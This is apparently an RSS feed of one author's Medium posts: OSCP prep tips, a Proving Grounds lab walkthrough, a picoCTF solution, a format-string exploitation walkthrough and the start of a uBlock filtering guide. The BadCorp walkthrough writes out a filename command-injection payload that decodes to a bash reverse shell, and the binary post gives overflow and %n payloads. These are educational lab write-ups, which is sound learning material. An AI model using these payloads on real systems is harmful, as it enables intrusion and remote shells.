/></figure><pre>$ExecutionContext.SessionState.LanguageMode # checks language mode</pre><p>— <strong>FullLanguage</strong>: all commands can be executed<br> — <strong>ConstrainedLanguage</strong>: restricts commands invoking Windows API<br> — <strong>RestrictedLanguage</strong>: only limited commands can be executed<br> — <strong>NoLanguage</strong>: no commands can be executed</p><ul><li>If you capture a hash, search its password in <strong>ntlm.pw</strong>.<strong> </strong>someone may have already cracked it before which saves you time!</li><li>List the password policy <strong>FIRST</strong> before brute-forcing passwords against domains and adjust the password wordlist accordingly.</li><li>when using the Rubeus tool, use <strong>/nowrap</strong> argument to print the credentials in one line. It makes it easier to copy than messing up with newline (‘\n’) and tab (‘\t’) escape sequences.</li></ul><h4>🛠️ Resources &amp; Tools</h4><ul><li><a href="http://0xdf.gitlab.io/"><strong>0xdf.gitlab.io</strong></a><strong> </strong>— My personal favourite for HTB walkthroughs. Recently, he published a list of OSCP-like Machines. Check it out <a href="https://0xdf.gitlab.io/cheatsheets/offsec">here</a>.</li><li><a href="https://ippsec.rocks/"><strong>ippsec.rocks</strong></a><strong> —</strong> Been in a situation where you know the vulnerability but just can’t remember which walkthrough had the exact steps? You’ve got this.</li><li><a href="https://hacktricks.xyz/"><strong>hacktricks.xyz</strong></a> — The ultimate holy bible for penetration testers. whether you’re doing web app security, privilege escalation, or need a quick hands on on a new tool you found in the scan result, they have it covered.</li><li><a href="https://gtfobins.github.io/"><strong>gtfobins.github.io</strong></a> — PrivEsc Cheatsheets (Unix Binaries)</li><li><a href="https://zer1t0.gitlab.io/posts/attacking_ad/"><strong>zer1t0.gitlab.io</strong></a> — It covers Active Directory 101 basics and it is a must-read for beginners!</li><li><strong>Attacking and Defending Active Directory</strong> — Nikhil Mittal’s course may be an overkill for OSCP but definitely a solid start if completed.</li><li><strong>Offsec Discord Community </strong>— Yes, You can refer to and search the old discussions in Offsec&#39;s official Discord community channel.</li><li><strong>PayloadAllThings</strong>, <strong>Payload Box</strong> — Useful for web-based vulnerabilities. Head over to these sites and try the payloads in Burp Suite’s Intruder.</li><li><strong>Orange Cyberdefense Mindmap</strong> — Although I didn’t use it during the exam, It extensively helped during my initial Active Directory 101 classes. Think of it as a bird’s-eye view of the entire Active Directory attacking methodology.</li><li><strong>Ligolo-NG — </strong>You would have probably heard about it at least once if you spent time reading in the OSCP subreddit. It’s an intuitive easy-to-use tool that everyone loves to use it for pivoting machines.</li><li><strong>Pwncat-CS</strong> — Modern fancy linux reverse shell handler. Highly recommend this, as it has a lot of features that could certainly save time. (allowed in OSCP exam too) (Thanks: nier0x00)</li><li><a href="https://github.com/gtworek/Priv2Admin"><strong>Priv2Admin</strong></a> — A repo that contains the execution paths for different windows based privileges.</li><li><a href="https://github.com/Orange-Cyberdefense/GOAD"><strong>GOAD</strong></a><strong> </strong>— A repo specifically created with vulnerable AD networks. I used the SCCM project with limited RAM and it was a good hands-on experience.</li><li><strong>Flameshot Screenshot Utility</strong> — There hasn’t beeen much noise about this tool at least in the OSCP community space. I personally felt this is one of the best screenshot-taking utility with image editing features in linux. Sign the petition, and help make the difference 😅</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*5WeSey3mRgPqNcDCivwpVg.jpeg" /></figure><p>Thanks, if you have reached here. After months of preparation, I finally secured my OSCP certification and am feeling grateful. I believe my insights would help others and I feel to have contributed my part to the community. Cheers!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*ADPGUdRqExA9aBpP9qRF6A.png" /></figure><p><strong><em>Find me on</em></strong><em>: </em><a href="https://twitter.com/vasanth__vanan"><em>Twitter</em></a><em> | </em><a href="https://github.com/VasanthVanan"><em>Github</em></a><em> | </em><a href="https://www.linkedin.com/in/vasanthavanan/"><em>LinkedIn</em></a><em> | </em><a href="https://www.instagram.com/vasanth_vanan/"><em>Instagram</em></a><em> | </em><a href="https://tryhackme.com/p/vasanth.vanan"><em>TryHackMe</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd23cc0e912b" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/6-vs-1-battle-my-oscp-strategy-dd23cc0e912b">6 vs 1 Battle: My OSCP Strategy</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds: BadCorp Walkthrough]]></title>
            <link>https://systemweakness.com/proving-grounds-badcorp-walkthrough-54c393758380?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/54c393758380</guid>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Fri, 26 Jul 2024 17:46:28 GMT</pubDate>
            <atom:updated>2024-07-30T12:39:43.450Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Difficulty:</strong> Hard | <strong>Community Rating</strong>: Very Hard</p><p><strong>Target IP: </strong>192.168.195.133</p><h4>Scanning</h4><pre>21/tcp open  ftp     Pure-FTPd<br>22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)<br>|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)<br>|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.38 ((Debian))<br>|_http-title: BadCorp| Html5 Agency template<br>|_http-server-header: Apache/2.4.38 (Debian)</pre><h4>Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GOyfHdlQC7BSanS0ZuYJYg.png" /></figure><p>Port 80 had a BadCorp’s http web page which did not surprise me initially. No interesting leads from nikto and gobuster though. But after careful enumeration at <em>/about.html</em>, I found some unique phone numbers mapped to each users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GZx70vCwzBYzKenKrxNWKA.png" /></figure><p>I see this as a potential user:pass wordlists that can be brute-forced for FTP and SSH services. Quickly, I created them as <strong>user.txt</strong> and <strong>pass.txt </strong>respectively.</p><p><strong>Trials and Errors:</strong></p><p>Since each person has a firstname and lastname, there are different combinations that can occur:</p><ul><li>FirstName.LastName (justin.hammer)</li><li>LastName.FirstName (hammer.justin)</li><li>FirstNameLastName (justinhammer)</li><li>LastNameFirstName (hammerjustin)</li><li>FirstNameInitial.LastName (j.hammer)</li><li>LastNameInitial.FirstName (h.justin)</li><li>FirstNameInitialLastName (jhammer)</li><li>LastNameInitialFirstName (hjustin)</li><li>and so on..</li></ul><p>I used <a href="https://github.com/urbanadventurer/username-anarchy">username-anarchy</a> to generate those possibilities and ran against FTP. However, I didn’t find any matches. I decided to give up until I realized there was a tweak needed for password lists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*UY86ZH2_qvrYMCif13FqCA.png" /></figure><p>I tried removing the phone code and there we go, it worked this time!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*usKtF7wYkYoRkWGmGCmjpQ.png" /></figure><h4>Initial Foothold</h4><p>Enumerating FTP, we find a SSH private key for hoswald</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*aCk6aWQAvNlAedQjr4ObRA.png" /></figure><p>I was able to login through SSH after cracking the password for the private key (id_rsa) through john the ripper. Once in, I ran linpeas hoping for any quick-wins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*B9MrbHijPIU8a3U-HoV_Mw.png" /></figure><p>This was Interesting! <strong>/usr/local/bin/backup</strong> binary was set with SUID bit.</p><h4>Privilege Escalation</h4><p>This binary needed a password to run its stuff. Here, I struck for a while — enumerated all files and folders; looked up configuration files; but found nothing.. now the only possible way is to reverse the binary and determine what it does. I transferred the binary and decompiled it with Ghidra.</p><p><strong>main function</strong></p><p>This function checks for a password argument and calls functions like check() and copy()</p><pre>undefined8 main(int param_1,EVP_PKEY_CTX *param_2)<br><br>{<br>  int iVar1;<br>  int iVar2;<br>  EVP_PKEY_CTX *src;<br>  EVP_PKEY_CTX *dst;<br>  <br>  src = param_2;<br>  setuid(0);<br>  if (param_1 == 2) {<br>    iVar1 = security(*(undefined8 *)(param_2 + 8));<br>    dst = *(EVP_PKEY_CTX **)(param_2 + 8);<br>    iVar2 = check();<br>    if ((iVar1 == 0) &amp;&amp; (iVar2 == 0)) {<br>      copy(dst,src);<br>    }<br>  }<br>  else if (param_1 &lt; 2) {<br>    puts(&quot;USAGE: backup &lt;password&gt; &quot;);<br>  }<br>  return 0;<br>}</pre><p><strong>check function</strong></p><p>It performs some mathematical operations with XOR and compares with <strong>pw</strong> variable (7c 38 7f 7f 7b 3c 7e 3a) [little endian]</p><pre>undefined8 check(char *param_1)<br><br>{<br>  undefined8 uVar1;<br>  byte a [10];<br>  int local_10;<br>  int i;<br>  <br>  strncpy((char *)a,param_1,9);<br>  for (i = 0; i &lt; 8; i = i + 1) {<br>    a[i] = a[i] ^ 0xc;<br>  }<br>  local_10 = strcmp((char *)a,(char *)&amp;pw);<br>  if (local_10 == 0) {<br>    uVar1 = 0;<br>  }<br>  else {<br>    puts(&quot;Wrong Password !!!&quot;);<br>    uVar1 = 0xffffffff;<br>  }<br>  return uVar1;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*0TUzmYWhKaceHH55X3VGTA.png" /></figure><p>To get back the password, we just need to XOR again with pw variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*NmaBEZTZLl6IkuRmO_hbyg.png" /></figure><blockquote>Password: <strong>p4ssw0r6</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*THLndgDySZo5arr9LCQorQ.png" /></figure><p>Let see what the copy() function is up to</p><pre>  local_10 = getlogin();<br>  sprintf(local_298,&quot;/var/logs/%s/&quot;,local_10);<br>  sprintf(local_368,&quot;/home/FTP/%s/&quot;,local_10);<br>  local_18 = opendir(local_368);<br>  local_20 = opendir(local_298);<br>  if (local_18 == (DIR *)0x0) {<br>    puts(&quot;Could not open current directory&quot;);<br>  }<br>... <br>SNIP<br>...<br>while (local_28 = readdir(local_18), local_28 != (dirent *)0x0) {<br>  if (local_28-&gt;d_type == &#39;\x04&#39;) {<br>    iVar1 = strcmp(local_28-&gt;d_name,&quot;.&quot;);<br>    if ((iVar1 != 0) &amp;&amp; (iVar1 = strcmp(local_28-&gt;d_name,&quot;..&quot;), iVar1 != 0)) {<br>      printf(&quot;%s %s\n&quot;,&quot;FOLDER &quot;,local_28-&gt;d_name);<br>      sprintf(local_1c8,&quot;/bin/cp -rf  %s%s %s&quot;,local_368,local_28-&gt;d_name,local_298);<br>      system(local_1c8);<br>    }<br>  }<br>  else {<br>    printf(&quot;%s %s\n&quot;,&quot;FILE &quot;,local_28-&gt;d_name);<br>    sprintf(local_1c8,&quot;/bin/cp -rf  %s%s %s&quot;,local_368,local_28-&gt;d_name,local_298);<br>    system(local_1c8);<br>  }<br>}</pre><p>It takes the filenames from /home/FTP/hoswald directory and passes it as a argument to /bin/cp.</p><blockquote>If you remember, this is the same folder that we accessed via FTP.</blockquote><p>Immediately, I looked for a Command Injection vulnerability with <strong>;id;#</strong> payload. So, I uploaded a file name with the above payload and tried to run the binary. Let’s see the intended and unintended behaviour</p><p><strong>Intended Command (Before passing payload):</strong></p><pre>/bin/cp -rf  %sid_rsa %s  # /home/FTP/hoswald/id_rsa</pre><p><strong>UnIntended Command (after passing payload):</strong></p><pre># 1st comma terminates the first part of the string<br># then, executes id system command<br># 2nd comma terminates the payload<br># hash symbol terminate commands that comes after it<br>/bin/cp -rf  %s;id;# %s</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GVAIV5wZvBjd8YpZ9hu3hw.png" /></figure><p>After confirming the execution, I crafted the reverse shell. but, it wasn’t easy. After multiple tries, I encoded the payload with base64 and obtained the root shell.</p><blockquote>Note: To overcome the issue of space in linux, use <strong>${IFS}</strong></blockquote><p><strong>Final Payload</strong></p><pre>;echo${IFS}YmFzaCAtaSAgPiYgICAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE2Ni80NDMgMD4mMSAK|base64${IFS}-d|bash;#<br># base64 command: bash -i &gt;&amp; /dev/tcp/192.168.45.166/443 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tfg1c8pOfF2dNUoxE40DKQ.png" /></figure><p>Happy hacking :)</p><p><strong><em>Find me on</em></strong><em>: </em><a href="https://twitter.com/vasanth__vanan"><em>Twitter</em></a><em> | </em><a href="https://github.com/VasanthVanan"><em>Github</em></a><em> | </em><a href="https://www.linkedin.com/in/vasanthavanan/"><em>LinkedIn</em></a><em> | </em><a href="https://www.instagram.com/vasanth_vanan/"><em>Instagram</em></a><em> | </em><a href="https://tryhackme.com/p/vasanth.vanan"><em>TryHackMe</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54c393758380" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/proving-grounds-badcorp-walkthrough-54c393758380">Proving Grounds: BadCorp Walkthrough</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Specialer — Pico CTF #2023]]></title>
            <link>https://systemweakness.com/specialer-pico-ctf-2023-82172de970aa?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/82172de970aa</guid>
            <category><![CDATA[script]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[ssh]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Sun, 25 Feb 2024 09:06:01 GMT</pubDate>
            <atom:updated>2024-05-21T13:07:54.951Z</atom:updated>
            <content:encoded><![CDATA[<h3>Specialer — Pico CTF #2023</h3><p>a Secure Interface for Affecting Linux Empirically Rad</p><p>Recently, I solved a pico-ctf challenge called “specialer” under general section. It looked easy at first, but it isn’t.</p><p>Link: <a href="https://play.picoctf.org/practice/challenge/378">https://play.picoctf.org/practice/challenge/378</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*CfFAsxIZjNCDSQAgvepksg.png" /></figure><p>I logged in through the given instances and tried to explore different possibility to get the flag. Initially, I tried some linux system commands. But, that didn’t provide any results. It really seemed off. I guess the creator of this challenge has either deleted / moved these binaries from <strong>/bin</strong> directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*v6Opywam9ILDlxdDEBvWWw.png" /></figure><p>But luckily, there are commands like <strong>pwd</strong>, <strong>cd</strong> that provided intended response. So, I decided to autocomplete the command by pressing <strong>&lt;tab&gt;</strong> button and it yielded the following result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LXLSxQqovqwBy7_hokepKg.png" /></figure><p>Fortunately, these commands were working fine. So, I decided to construct a shell program that would print the files &amp; folders for the current directory.</p><blockquote>Commands like <strong>for</strong>, <strong>while</strong>, <strong>do</strong>, <strong>then</strong>, <strong>done</strong>, <strong>if</strong>, <strong>elif</strong>, <strong>echo</strong> can be constructed as a program and it can be used to print the working directory contents. Quickly, I wrote a simple function that could perform the same.</blockquote><pre>for file in *<br>do<br>  if [ -d &quot;$file&quot; ]; then<br>    echo &quot;$file is a directory.&quot;<br>  elif [ -f &quot;$file&quot; ]; then<br>    echo &quot;$file is a file.&quot;<br>  fi<br>done</pre><p>This program would differentiate the files and folders and display it accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lCwE_wDPiA-Z3-SmhHc3oA.png" /></figure><p>From the above result, we could see that there are three directories. Let’s poke in and execute the same command.</p><h4>Abra Directory:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hee3_ghE8wiBKKYnrzomvQ.png" /></figure><p>Similarly, <strong>Ala</strong> and <strong>sim</strong> folder had the following results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ies0xR-lR5HB2QaPmIbMNw.png" /></figure><p>Now, let’s modify the code a bit, and print the content of each files from their folders:</p><pre>for folder in abra ala sim<br>do<br>  cd &quot;$folder&quot;<br>  for file in *<br>  do<br>    if [ -d &quot;$file&quot; ]; then<br>      echo &quot;$file: directory.&quot;<br>    elif [ -f &quot;$file&quot; ]; then<br>      echo &quot;$folder/$file:&quot;<br>      printf &quot;%s &quot; $(&lt;$file) # input redirection; alternative to &#39;cat&#39;<br>      printf &quot;\n\n&quot;<br>    fi<br>  done<br>  cd ..<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iR2h9-8_i4gmTQ_XYFdGgA.png" /></figure><p>There we go! ⛳️</p><blockquote><strong><em>picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_a8567b6f}</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82172de970aa" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/specialer-pico-ctf-2023-82172de970aa">Specialer — Pico CTF #2023</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Injecting 0x113 — Format String Binary Exploitation]]></title>
            <link>https://systemweakness.com/injecting-0x113-format-string-binary-exploitation-f2abfea25a76?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2abfea25a76</guid>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[format-string-exploit]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Sat, 16 Dec 2023 01:50:50 GMT</pubDate>
            <atom:updated>2023-12-16T14:23:35.606Z</atom:updated>
            <content:encoded><![CDATA[<h3>Injecting 0x113 — Format String Binary Exploitation</h3><p>Recently, I had fun exploring format string binary exploitation. I want to share a step-by-step walkthrough on it and I hope everyone finds it interesting. This binary used specific flags during compilation and execution, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nqk6S43RL2Gpkgtv0QY5BA.png" /></figure><p>Let’s start by disassembling the main function. It calls three user-defined functions: <strong>validate_params</strong>, <strong>bazinga</strong>, and <strong>that_fyi_was_sarcasm</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*aqxxms1ZgznXTbqJ_5M_Ww.png" /></figure><p><strong>validate_params →</strong> This function validates the number of parameters passed to the program. 0x8048618 &lt;+3&gt; compares the total number of parameters with 2. If the parameters are less than 2, it will print a message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*I-_sFU_D9QCrPKP92KDvfA.png" /></figure><p>If one parameter is passed, it doesn’t meet the requirement whereas if two parameters are passed, it satisfies the condition <strong>2 == 2</strong>. This clearly shows that passing two arguments is mandatory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*D-Qh95kxhexUK-blfOWgqQ.png" /></figure><p><strong>bazinga → </strong>This function is responsible for assigning a buffer and a variable, as shown from the below disassembled code..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*3ejRGAh5I9pA1Y7F9x4bDA.png" /></figure><p>It allocates <strong>0x64</strong> (100) bytes of memory. It assigns a variable at the address 4 positions below the displacement of ebp. With 100–4 = 96 bytes remaining, these spaces are then assigned to buffers. Then, it performs a string copy and prints a string. <br><em>Note: This function uses second argument string from the command line</em></p><p><strong>that_fyi_was_sarcasm → </strong>This function allocates a buffer with a size of 0x9c (156) bytes. It uses strcpy and then prints nothing. <br><em>Note: This function uses first argument string from the command line.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*5WBSHJ0_wiqm-A4K4WkVHw.png" /></figure><p>Now, Let’s find other functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*MHn4hi5XIpJbriClC3oBfQ.png" /></figure><p>Other functions: <strong>print_flag, shel_bot, i_should_have_the_flag</strong>. Since these functions are never called or invoked directly from the main function, we must pass the addresses of these functions to invoke them through buffer overflow.</p><p><strong>shel_bot → </strong>Let’s disassemble them one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*P-1VZuXhakVPWN45a81FLQ.png" /></figure><p>If you notice, &lt;+3&gt; moves the data from 0x804a02c to eax. Let’s investigate what is stored at that memory address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*cIoI18HVSiOglb3YIeYpZA.png" /></figure><p>Currently, the value of the key variable is 0x100 (256). Following that, &lt;+8&gt; compares this variable to the immediate value <strong>0x113</strong> (275). Since 256 != 275, it won’t print the contents, and the program will proceed to the else part. To address this, we should modify the key variable to <strong>0x113</strong> instead of 0x100.</p><p><strong>print_flag → </strong>It prints the actual flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*-sD3Z3HctXpI74_5f5a7Qg.png" /></figure><p><strong>i_should_have_the_flag → </strong>This function calculates a string using mathematical operations involving the previously found <strong>key</strong> variable (0x113) and converts the resulting number to ASCII flag string. If 0x113 is provided, the function will work correctly. Otherwise, flag will not be printed as exepcted.</p><p>Now, Let’s try to pass the address of shell_bot in the first argument and run the program with the below payloads.</p><p><strong>Address</strong> = `\x07\x85\x04\x08` (0x08048507) [Little endian format]</p><p><strong>NOP value</strong> = 156 bytes (buffer) + 4 bytes (ebp) = 160 bytes * `0x90`</p><blockquote>python2 -c ‘print “\x90” * 160 + “\x07\x85\x04\x08”’ &gt; payload_arg1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*mR98HEEyd2OebR_0PfiE3Q.png" /></figure><p>When the program ran, it didn’t work, because as we discussed earlier, we missed to pass the value of key variable as 0x113. Let’s do that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Nr14KiAZYNl8MlU0rTOl5w.png" /></figure><p>From this, we can determine the address of the key variable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*cIoI18HVSiOglb3YIeYpZA.png" /></figure><p>Let us use this in the second argument and try to fill the key variable with <strong>0x113</strong> replacing 0x100.</p><p>Address: <strong>0x804a02c</strong> (`\x2c\xa0\x04\x08`)<br>Adjust the spaces and characters accordingly.</p><blockquote>./final `cat payload_arg1` $(python2 -c ‘print “\x2c\xa0\x04\x08”’)%271u%1\$n</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*tV1OK7WwN2N1XOh9MI1WDw.png" /></figure><p>Cool! Let us disassemble the <strong>i_should_have_the_flag </strong>to know how it is getting printed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*NYgTAryJ1C0if3WScB8ylA.png" /></figure><p>As suspected, the function uses the key variable at &lt;+9&gt;, which is needed for certain add and sub operations. Towards the end of the instructions, the print_flag function is called to print the complete flag.</p><p>Address of i_should_have_the_flag : <strong>0x08048535 </strong>(`\x35\x85\x04\x08`)</p><p>Once shell_bot gets executed, we need to jump to i_should_have_the_flag function and begin its execution. Let’s continue by appending these addresses to the existing payload.</p><blockquote>python2 -c ‘print “\x90” * 160 + “\x07\x85\x04\x08” + “\x35\x85\x04\x08”’ &gt; payload_arg1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*_7kv1wQ7S5Zh-G8s-WRzxg.png" /></figure><p>When you run it, you will obtain the flag. Peace!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*DaXSsj8jqz2TaVBBzwUpqA.png" /></figure><p>⛳️ Flag Conquered: <strong><br>What type of computer do you have? And Please don’t say a white one..</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2abfea25a76" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/injecting-0x113-format-string-binary-exploitation-f2abfea25a76">Injecting 0x113 — Format String Binary Exploitation</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Stay Productive on Social Media]]></title>
            <link>https://medium.com/@vasanthavanan59439/how-i-stay-productive-on-social-media-90bf24f6f388?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/90bf24f6f388</guid>
            <category><![CDATA[instagram]]></category>
            <category><![CDATA[productivity]]></category>
            <category><![CDATA[social-media]]></category>
            <category><![CDATA[ublock-origin]]></category>
            <category><![CDATA[twitter]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Thu, 01 Jun 2023 12:09:31 GMT</pubDate>
            <atom:updated>2024-05-21T13:17:08.981Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VGDs_A2ZXJGq1e-3Q7pe1A.jpeg" /><figcaption>Image Source: additudemag</figcaption></figure><p>Have you ever started with a simple online search but got lost in a sea of distractions? Have you intended to watch that <strong><em>Trigonometry tutorial</em></strong> on YouTube but got lost in a ocean of recommended youtube videos, leaving you regretful the whole day for not finishing your task?</p><p>Have you ever tried to search for a tweet you just saw an hour ago, but ended up getting trapped in the endless scroll of the latest twitter trends and updates, losing hours of time?</p><p>And let’s not forget Instagram.. Have you struck with the endless scrolling through Instagram Reels, which leaves you wondering where all your time went? If any of these scenarios sound familiar or relatable for you, Guess what?</p><blockquote>Your precious time has been compromised, and you’ve fallen to a <strong>rabbit hole</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*D5Z6NX9eB4eS3JmUqZgyZg.jpeg" /><figcaption>Image Source: iStockPhoto</figcaption></figure><p>The good news is, there are strategies to focus and stay productive while navigating these platforms. In this blog post, I’ll explore technically to help you control your time and be productive on social media.</p><h4>Table of Contents:</h4><ol><li>How do Websites Work?</li><li>DOM and its Importance</li><li>Choosing Website’s distracting tags</li><li>Filter using uBlock Origin (Chrome, Firefox)</li><li>Filter using AdGuard for Safari</li></ol><h4>1. How do Websites Work (Quick Glance)</h4><blockquote>“Websites are displayed to browsers through a process called Rendering. When a user visits a website, the browser retrieves the <strong>HTML</strong>, CSS, and JavaScript files associated with the page. The browser then, interprets the HTML to construct the Document Object Model (DOM), which represents the structure and content of the web page.”</blockquote><h4>2. DOM and its Importance</h4><ul><li>These DOMs determine how elements, their positioning, and their relationships with other elements should be displayed.</li><li>Also, It enables interactivity and dynamic behaviour on the web page using javascripts.</li></ul><blockquote><strong>Goal 1:</strong> Utilise the DOM functionality to identify different elements of the social media websites.</blockquote><p>So, Let’s say you visit Twitter and find the following rendered page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_UJCIdl1htg2NIDX6PKTOA.png" /></figure><p>Here, Each blue rectangle represents a separate &lt;div&gt; section, grouped based on different elements and tags within the DOM tree.</p><h4>3. Choosing Website’s distracting tags</h4><blockquote><strong>Goal 2:</strong> Identify all the distracting sections of the rendered webpage and make a note of it.</blockquote><p>Twitter uses <strong><em>Header</em></strong>, <strong><em>Sidebar</em></strong>, <strong><em>Main Feed</em></strong>, <strong><em>Notifications</em></strong>, <strong><em>Tweet Composer</em></strong>, <strong><em>Footer</em></strong> and several other sections within a DOM tree. In the above image, <strong><em>“What’s happening”</em></strong> section really stands out and it grabs my attention than other sections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMiCOvJK_Mx4ktjyq2kDHQ.png" /></figure><p>For example, the hashtag <strong><em>#BloodySweet</em></strong> from this section, related with an upcoming Tamil movie, instantly intrigues me, providing me an opportunity to explore further. Consequently, I find myself diverted for a while by this hashtag and its content.</p><blockquote>So, I consider this section, “What’s happening” on Twitter, to be significantly DISTRACTING for my productivity and I make a note of it.</blockquote><h4>4. Filter using uBlock Origin (Chrome, Firefox)</h4><blockquote><strong>Goal 3:</strong> Use uBlock Origin extension to selectively allow / disallow DOM elements to get rid off your sight</blockquote><p>uBlock Origin is an open-source browser extension that serves as an ad and content blocker. In addition to blocking ads, it allows users to selectively block specific DOM elements using your own rule lists.</p><ul><li>Install this extension on <a href="https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm">Chrome</a> / <a href="https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/">Firefox</a></li><li>click the uBlock Origin icon in your browser and select Dashboard</li><li>select “<strong><em>My Filters”</em></strong> from the available tabs.</li><li>add the following CSS rule lists to the filter:</li></ul><pre>twitter.com##[data-testid=&quot;trends&quot;] <br>twitter.com##*[aria-label=&quot;Timeline: Trending now&quot;]<br>twitter.com##*[data-testid=&quot;DMDrawerHeader&quot;]<br>twitter.com##[aria-label=&quot;Tweeted&quot;]<br>twitter.com###react-root &gt; div.css-1dbjc4n.r-13awgt0.r-12vffkv &gt; div.css-1dbjc4n.r-13awgt0.r-12vffkv &gt; div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010:last-child &gt; main.css-1dbjc4n.r-1habvwh.r-16y2uox.r-1wbh5a2:last-child &gt; 